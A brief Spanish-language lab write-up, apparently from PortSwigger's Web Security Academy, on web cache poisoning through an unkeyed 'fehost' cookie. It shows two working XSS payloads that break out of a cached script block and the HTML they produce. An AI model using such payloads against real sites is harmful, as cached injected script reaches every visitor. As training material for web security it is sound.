Skip to content

Web cache poisoning with an unkeyed cookie

20260225234842.png

LAB

Observamos que el sitio web que maneja la cache para que se cargan los recursos.

20260225234950.png

Tenemos en la cabecera de Cookie el valor de fehost= es reflejado.

20260226000638.png

El cual podemos manipular y asi ejecutar codigo javascript.

20260226002033.png

Al inyectar nuestro javascript -alert(1)- podemos ejecutar un alert al recargar el sitio web:

c
Cookie: session=IMJTcStx99xvOVaFtSRmSO6ZNVm4PbMz; fehost=test"-alert(1)-"aaaa

data = {"host":"0a5200a704d8bd56807b0ddf00c50040.web-security-academy.net","path":"/","frontend":"test"-alert(1)-"aaaa"}

20260226002048.png

20260226002556.png

c
        <script>
            data = {"host":"0a5200a704d8bd56807b0ddf00c50040.web-security-academy.net","path":"/","frontend":"test"-alert(1)-"aaaa"}
        </script>

Otra manera:

20260226003125.png

c
Cookie: session=IMJTcStx99xvOVaFtSRmSO6ZNVm4PbMz; fehost=test"}</script><script>alert(1)//
c
.
.
.
       <script>
            data = {"host":"0a5200a704d8bd56807b0ddf00c50040.web-security-academy.net","path":"/","frontend":"test"}</script><script>alert(1)//"}
        </script>
        <title>Web cache poisoning with an unkeyed cookie</title>
        .
        .
        .